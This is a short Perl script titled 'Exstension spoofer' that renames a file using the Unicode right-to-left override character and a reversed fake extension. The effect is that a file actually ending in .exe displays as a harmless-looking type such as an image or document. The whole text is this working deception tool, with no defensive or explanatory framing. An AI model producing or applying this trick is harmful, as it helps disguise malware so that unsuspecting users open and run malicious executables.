Exstension spoofer

#!/usr/bin/perl
$char = chr(8238);
$src = $ARGV[0];
$fname = $ARGV[1];
$ext = reverse $ARGV[2];
rename("${src}", "./${fname}${char}${ext}.exe");